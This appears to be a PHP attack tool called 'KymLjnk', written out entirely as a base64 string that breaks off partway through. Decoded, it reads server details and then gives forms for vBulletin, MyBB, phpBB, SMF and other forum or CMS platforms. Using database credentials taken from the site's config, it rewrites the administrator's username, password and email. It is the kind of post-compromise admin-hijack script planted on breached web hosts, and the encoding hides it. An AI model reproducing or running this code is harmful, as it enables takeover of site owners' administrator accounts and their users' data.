  1516. PD9waHAKLy9CZWdpbmluZyBvZiBDb2RpbmcKZXJyb3JfcmVwb3J0aW5nKDApOwogICAgJGluZm8gPSAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107CiAgICAkc2l0ZSA9IGdldGVudigiSFRUUF9IT1NUIik7CiAgICAkcGFnZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOwogICAgJHNuYW1lID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107CiAgICAkdW5hbWUgPSBwaHBfdW5hbWUoKTsKICAgICRzbW9kID0gaW5pX2dldCgnc2FmZV9tb2RlJyk7CiAgICAkZGlzZnVuYyA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICAkeW91cmlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CiAgICAkc2VydmVyaXAgPSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXTsKCQovL1RpdGxlCmVjaG8gIjxoZWFkPgo8c3R5bGU+CmJvZHkgeyBmb250LXNpemU6IDEycHg7CiAgICAgICAgICAgZm9udC1mYW1pbHk6IGFyaWFsLCBoZWx2ZXRpY2E7CiAgICAgICAgICAgIHNjcm9sbGJhci13aWR0aDogNTsKICAgICAgICAgICAgc2Nyb2xsYmFyLWhlaWdodDogNTsKICAgICAgICAgICAgc2Nyb2xsYmFyLWZhY2UtY29sb3I6IGJsYWNrOwogICAgICAgICAgICBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiBzaWx2ZXI7CiAgICAgICAgICAgIHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6IHNpbHZlcjsKICAgICAgICAgICAgc2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6c2lsdmVyOwogICAgICAgICAgICBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogc2lsdmVyOwogICAgICAgICAgICBzY3JvbGxiYXItdHJhY2stY29sb3I6IGJsYWNrOwogICAgICAgICAgICBzY3JvbGxiYXItYXJyb3ctY29sb3I6IHNpbHZlcjsKICAgIH0KPC9zdHlsZT4KPHRpdGxlPkt5bUxqbmsgLSBbJHNpdGVdPC90aXRsZT48L2hlYWQ+IjsKLy9CdXR0b24gTGlzdAplY2hvICI8Y2VudGVyPjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbicnPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXZidWxsZXRpbiB2YWx1ZT0ndkJ1bGxldGluJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1teWJiIHZhbHVlPSdNeUJCJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1waHBiYiB2YWx1ZT0ncGhwQkInPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNtZiB2YWx1ZT0nU01GJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT13aG1jcyB2YWx1ZT0nV0hNQ1MnPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXdvcmRwcmVzcyB2YWx1ZT0nV29yZFByZXNzJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1qb29tbGEgdmFsdWU9J0pvb21sYSc+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9cGhwLW51a2UgdmFsdWU9J1BIUC1OVUtFJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT11cCB2YWx1ZT0nVHJhaWRudCBVUCc+PC9mb3JtPjwvY2VudGVyPiI7CmZ1bmN0aW9uIHVwZGF0ZSgpCnsKCWVjaG8gIlsrXSBVcGRhdGUgSGFzIERvbmUgXl9eIjsKfQovL3ZCdWxsZXRpbgppZiAoaXNzZXQoJF9QT1NUWyd2YnVsbGV0aW4nXSkpCnsKZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPgo8dHI+PHRkPgo8Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHZCdWxsZXRpbiBJbmZvPGJyPlBhdGNoIENvbnRyb2wgUGFuZWwgOiBbcGF0Y2hdL2FkbWluY3A8YnI+UGF0aCBDb25maWcgOiBbcGF0Y2hdL2luY2x1ZGVzL2NvbmZpZy5waHA8YnI+aW5jbHVkZXMvaW5pdC5waHAgPC9mb250Pgo8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyNGRjAwMDAnPj4+PC9mb250Pjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+IGluY2x1ZGVzL2NsYXNzX2NvcmUucGhwIDwvZm9udD4KPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjRkYwMDAwJz4+PjwvZm9udD48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPiBpbmNsdWRlcy9jb25maWcucGhwPC9mb250PjwvY2VudGVyPgogICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5NeXNxbCBIb3N0PC9mb250Pjxicj48aW5wdXQgdmFsdWU9bG9jYWxob3N0IHR5cGU9dGV4dCBuYW1lPWRiaHZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1mb3J1bXMgdHlwZT10ZXh0IG5hbWU9ZGJudmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgdXNlcjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXJvb3QgdHlwZT10ZXh0IG5hbWU9ZGJ1dmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgcGFzc3dvcmQ8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1hZG1pbiB0eXBlPXBhc3N3b3JkIG5hbWU9ZGJwdmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+VGFibGUgcHJlZml4PGJyPjwvZm9udD48aW5wdXQgdmFsdWU9dmJfIHR5cGU9dGV4dCBuYW1lPXBydmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+VXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWFkbWluIHR5cGU9dGV4dCBuYW1lPXVydmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TmV3IHBhc3N3b3JkIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXBhc3N3b3JkIG5hbWU9cHN2YiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5OZXcgRS1tYWlsIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9eW91ci1lbWFpbEB4eHh4LmNvbSB0eXBlPXRleHQgbmFtZT1lbXZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NoYW5nZScgPjxicj4KICAgICAgICAgIDwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwp9ZWxzZXsKJGRiaHZiID0gJF9QT1NUWydkYmh2YiddOwokZGJudmIgID0gJF9QT1NUWydkYm52YiddOwokZGJ1dmIgPSAkX1BPU1RbJ2RidXZiJ107CiRkYnB2YiAgPSAkX1BPU1RbJ2RicHZiJ107CiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRkYmh2YiwkZGJ1dmIsJGRicHZiKTsKICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJudmIpOwoKJHVydmI9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHVydmIpOwoKJHNldF91cnZiID0gJF9QT1NUWyd1cnZiJ107CgokcHN2Yj1zdHJfcmVwbGFjZSgiXCciLCInIiwkcHN2Yik7CiRwYXNzX3ZiID0gJF9QT1NUWydwc3ZiJ107CgokZW12Yj1zdHJfcmVwbGFjZSgiXCciLCInIiwkZW12Yik7CiRzZXRfZW12YiA9ICRfUE9TVFsnZW12YiddOwoKJHZiX3ByZWZpeCA9ICRfUE9TVFsncHJ2YiddOwoKJHRhYmxlX25hbWUgPSAkdmJfcHJlZml4LiJ1c2VyIiA7CgokcXVlcnkgPSAnc2VsZWN0ICogZnJvbSAnIC4gJHRhYmxlX25hbWUgLiAnIHdoZXJlIHVzZXJuYW1lPSInIC4gJHNldF91cnZiIC4gJyI7JzsKCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOwokcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7CiRzYWx0ID0gJHJvd1snc2FsdCddOwokcGFzczIgPSBtZDUoJHBhc3NfdmIpOwokcGFzcyA9JHBhc3MyIC4gJHNhbHQ7Cgokc2V0X3Bzc2FsdCA9IG1kNSgkcGFzcyk7CgokbGVjb25ndGhpZW4xID0gJ1VQREFURSAnIC4gJHRhYmxlX25hbWUgLiAnIFNFVCBwYXNzd29yZD0iJyAuICRzZXRfcHNzYWx0IC4gJyIgV0hFUkUgdXNlcm5hbWU9IicgLiAkc2V0X3VydmIgLiAnIjsnOwokbGVjb25ndGhpZW4yID0gJ1VQREFURSAnIC4gJHRhYmxlX25hbWUgLiAnIFNFVCBlbWFpbD0iJyAuICRzZXRfZW12YiAuICciIFdIRVJFIHVzZXJuYW1lPSInIC4gJHNldF91cnZiIC4gJyI7JzsKCiRvazE9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjEpOwokb2sxPUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW4yKTsKCmlmKCRvazEpewplY2hvICI8c2NyaXB0PmFsZXJ0KCd2QnVsbGV0aW4gdXBkYXRlIHN1Y2Nlc3MgLiBDb3B5cmlnaHQgQnkgTXkgSHV5ZW4gOyknKTs8L3NjcmlwdD4iOwp9Cn0KCi8vTXlCQgppZiAoaXNzZXQoJF9QT1NUWydteWJiJ10pKQp7CmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4KPHRyPjx0ZD4KPGNlbnRlcj48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBNeUJCIEluZm88YnI+UGF0Y2ggQ29udHJvbCBQYW5lbCA6IFtwYXRjaF0vYWRtaW48YnI+UGF0aCBDb25maWcgOiBbcGF0Y2hdL2luYy9jb25maWcucGhwPC9mb250PjwvY2VudGVyPgogICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5NeXNxbCBIb3N0PC9mb250Pjxicj48aW5wdXQgdmFsdWU9bG9jYWxob3N0IHR5cGU9dGV4dCBuYW1lPWRiaG15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1teWJiIHR5cGU9dGV4dCBuYW1lPWRibm15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidW15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicG15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSB1c2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXRleHQgbmFtZT11cm15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBFLW1haWwgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT15b3VyLWVtYWlsQHh4eC5jb20gdHlwZT10ZXh0IG5hbWU9ZW1teSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcmVmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1teWJiXyB0eXBlPXRleHQgbmFtZT1wcm15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NoYW5nZScgPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwp9ZWxzZXsKJGRiaG15ID0gJF9QT1NUWydkYmhteSddOwokZGJubXkgID0gJF9QT1NUWydkYm5teSddOwokZGJ1bXkgPSAkX1BPU1RbJ2RidW15J107CiRkYnBteSAgPSAkX1BPU1RbJ2RicG15J107CiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRkYmhteSwkZGJ1bXksJGRicG15KTsKICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJubXkpOwoKJHVybXk9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHVybXkpOwokc2V0X3VybXkgPSAkX1BPU1RbJ3VybXknXTsKCiRlbW15PXN0cl9yZXBsYWNlKCJcJyIsIiciLCRlbW15KTsKJHNldF9lbW15ID0gJF9QT1NUWydlbW15J107CgokbXlfcHJlZml4ID0gJF9QT1NUWydwcm15J107CgokdGFibGVfbmFtZTEgPSAkbXlfcHJlZml4LiJ1c2VycyIgOwoKJGxlY29uZ3RoaWVuMyA9ICJVUERBVEUgJHRhYmxlX25hbWUxIFNFVCB1c2VybmFtZSA9JyIuJHNldF91cm15LiInIFdIRVJFIHVpZCA9JzEnIjsKJGxlY29uZ3RoaWVuNCA9ICJVUERBVEUgJHRhYmxlX25hbWUxIFNFVCBlbWFpbCA9JyIuJHNldF9lbW15LiInIFdIRVJFIHVpZCA9JzEnIjsKCiRvazI9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjMpOwokb2syPUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW40KTsKCmlmKCRvazIpewplY2hvICI8c2NyaXB0PmFsZXJ0KCdNeUJCIHVwZGF0ZSBzdWNjZXNzIC4gQ29weXJpZ2h0IEJ5IE15IEh1eWVuIDspJyk7PC9zY3JpcHQ+IjsKfQp9CgovL3BocEJCCmlmIChpc3NldCgkX1BPU1RbJ3BocGJiJ10pKQp7CmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4KPHRyPjx0ZD4KPGNlbnRlcj48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBwaHBCQiBJbmZvPGJyPlBhdGNoIENvbnRyb2wgUGFuZWwgOiBbcGF0Y2hdL2FkbTxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vY29uZmlnLnBocDwvZm9udD48L2NlbnRlcj4KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmhwaHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgbmFtZTxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXBocGJiIHR5cGU9dGV4dCBuYW1lPWRibnBocCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiB1c2VyPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9cm9vdCB0eXBlPXRleHQgbmFtZT1kYnVwaHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgcGFzc3dvcmQ8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1hZG1pbiB0eXBlPXBhc3N3b3JkIG5hbWU9ZGJwcGhwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSB1c2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXRleHQgbmFtZT11cnBocCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgcGFzc3dvcmQgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1LeW1Mam5rIHR5cGU9cGFzc3dvcmQgbmFtZT1wc3BocCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPgogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcmVmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1waHBiYl8gdHlwZT10ZXh0IG5hbWU9cHJwaHAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7Cn1lbHNlewokZGJocGhwID0gJF9QT1NUWydkYmhwaHAnXTsKJGRibnBocCAgPSAkX1BPU1RbJ2RibnBocCddOwokZGJ1cGhwID0gJF9QT1NUWydkYnVwaHAnXTsKJGRicHBocCAgPSAkX1BPU1RbJ2RicHBocCddOwogICAgICAgICBAbXlzcWxfY29ubmVjdCgkZGJocGhwLCRkYnVwaHAsJGRicHBocCk7CiAgICAgICAgIEBteXNxbF9zZWxlY3RfZGIoJGRibnBocCk7CgokdXJwaHA9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHVycGhwKTsKJHNldF91cnBocCA9ICRfUE9TVFsndXJwaHAnXTsKCiRwc3BocD1zdHJfcmVwbGFjZSgiXCciLCInIiwkcHNwaHApOwokcGFzc19waHAgPSAkX1BPU1RbJ3BzcGhwJ107CiRzZXRfcHNwaHAgPSBtZDUoJHBhc3NfcGhwKTsKCiRwaHBfcHJlZml4ID0gJF9QT1NUWydwcnBocCddOwoKJHRhYmxlX25hbWUyID0gJHBocF9wcmVmaXguInVzZXJzIiA7CgokbGVjb25ndGhpZW41ID0gIlVQREFURSAkdGFibGVfbmFtZTIgU0VUIHVzZXJuYW1lX2NsZWFuID0nIi4kc2V0X3VycGhwLiInIFdIRVJFIHVzZXJfaWQgPScyJyI7CiRsZWNvbmd0aGllbjYgPSAiVVBEQVRFICR0YWJsZV9uYW1lMiBTRVQgdXNlcl9wYXNzd29yZCA9JyIuJHNldF9wc3BocC4iJyBXSEVSRSB1c2VyX2lkID0nMiciOwoKJG9rMz1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuNSk7CiRvazM9QG15c3FsX3F1ZXJ5KCRsZWNvbmd0aGllbjYpOwoKaWYoJG9rMyl7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ3BocEJCIHVwZGF0ZSBzdWNjZXNzIC4gQ29weXJpZ2h0IEJ5IE15IEh1eWVuIDspJyk7PC9zY3JpcHQ+IjsKfQp9CgovL1NNRgppZiAoaXNzZXQoJF9QT1NUWydzbWYnXSkpCnsKZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPgo8dHI+PHRkPgo8Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIFNNRiBJbmZvPGJyPlBhdGNoIENvbnRyb2wgUGFuZWwgOiBbcGF0Y2hdL2luZGV4LnBocD9hY3Rpb249YWRtaW48YnI+UGF0aCBDb25maWcgOiBbcGF0Y2hdL1NldHRpbmdzLnBocDwvZm9udD48L2NlbnRlcj4KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmhzbWYgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgbmFtZTxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXNtZiB0eXBlPXRleHQgbmFtZT1kYm5zbWYgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgdXNlcjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXJvb3QgdHlwZT10ZXh0IG5hbWU9ZGJ1c21mIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+CiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHNtZiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYT